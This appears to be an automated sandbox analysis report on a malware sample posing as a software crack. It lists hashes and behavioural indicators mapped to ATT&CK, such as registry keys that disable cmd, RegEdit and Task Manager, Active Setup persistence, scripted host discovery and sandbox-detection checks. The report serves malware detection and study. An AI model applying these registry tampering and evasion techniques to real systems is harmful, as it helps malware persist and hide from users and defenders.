bcb21f1b4b14892370d2e935bcdb20feae7ff36d8d7eab8bf24a72ef43b01f89

Analysis

user interaction
yes
max time kernel
900s
max time network
873s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/10/2026, 15:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IDM_6.4x_Crack_v20.6.exe
Size 66KB
Sample261003-svt5astsft
SHA256 bcb21f1b4b14892370d2e935bcdb20feae7ff36d8d7eab8bf24a72ef43b01f89
MD5 99e93f400964b6c8bab5a18e0e216500
SHA1 2cfa756887ba67240c73791782386bd389a83454
SHA512 da8e355bd93692cec82ac59cd899f25112be270fc69b7aac49d4abe7e95428b3ffd9f18ebdc5cfbc196c2fb8290ff5051ebeb639ac56e4cad4762ea437f43af1
SSDEEP 1536:/RGKmid3B3HHF49xGwwjE/kzOhB0a4oPkcTLa:/AhC3tHHF4kjYkzOB0a4Ncfa
TLSH
T1FA63F151C3E85D23F7FA0471839AEF91E2469DF690854623312FAD0E17BF4D00BAAD58
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4836	wscript.exe
3	4836	wscript.exe
4	4836	wscript.exe

Blocks application from running via registry modification 1 IoCs

Adds application to list of disallowed applications.

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "0"	IDM_6.4x_Crack_v20.6.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	IDM_6.4x_Crack_v20.6.exe

Disables Task Manager via registry modification
defense_evasion

Disables cmd.exe use via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "0"	IDM_6.4x_Crack_v20.6.exe

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	explorer.exe
File opened (read-only)	\??\F:	explorer.exe
	\??\F:\	explorer.exe
	\??\E:\	explorer.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 64 IoCs

execution

Visual Basic

T1059.005

pid	Process
1248	cscript.exe
1808	cscript.exe
2176	cscript.exe
1720	cscript.exe
4568	cscript.exe
6044	cscript.exe
2436	cscript.exe
3168	cscript.exe
6128	cscript.exe
2932	cscript.exe
5004	cscript.exe
2884	cscript.exe
6092	cscript.exe
4220	cscript.exe
2104	cscript.exe
3184	cscript.exe
1368	cscript.exe
1724	cscript.exe
5700	cscript.exe
2344	cscript.exe
2388	cscript.exe
1200	cscript.exe
6128	cscript.exe
4772	cscript.exe
564	cscript.exe
5180	cscript.exe
1136	cscript.exe
5388	cscript.exe
5948	cscript.exe
4116	cscript.exe
4756	cscript.exe
5316	cscript.exe
2776	cscript.exe
6136	cscript.exe
6060	cscript.exe
5864	cscript.exe
1244	cscript.exe
2572	cscript.exe
2136	cscript.exe
872	cscript.exe
4144	cscript.exe
4660	cscript.exe
4208	cscript.exe
4452	cscript.exe
4312	cscript.exe
928	cscript.exe
4044	cscript.exe
6036	cscript.exe
2356	cscript.exe
2456	cscript.exe
3288	cscript.exe
1200	cscript.exe
4228	cscript.exe
5040	cscript.exe
5136	cscript.exe
4828	cscript.exe
5380	cscript.exe
6132	cscript.exe
5900	cscript.exe
4876	cscript.exe
1120	cscript.exe
3180	cscript.exe
4516	cscript.exe
3344	cscript.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WinRAR\rarreg.key	IDM_6.4x_Crack_v20.6.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 64 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cscript.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IDM_6.4x_Crack_v20.6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4412	chrome.exe

Checks SCSI registry key(s) 3 TTPs 62 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
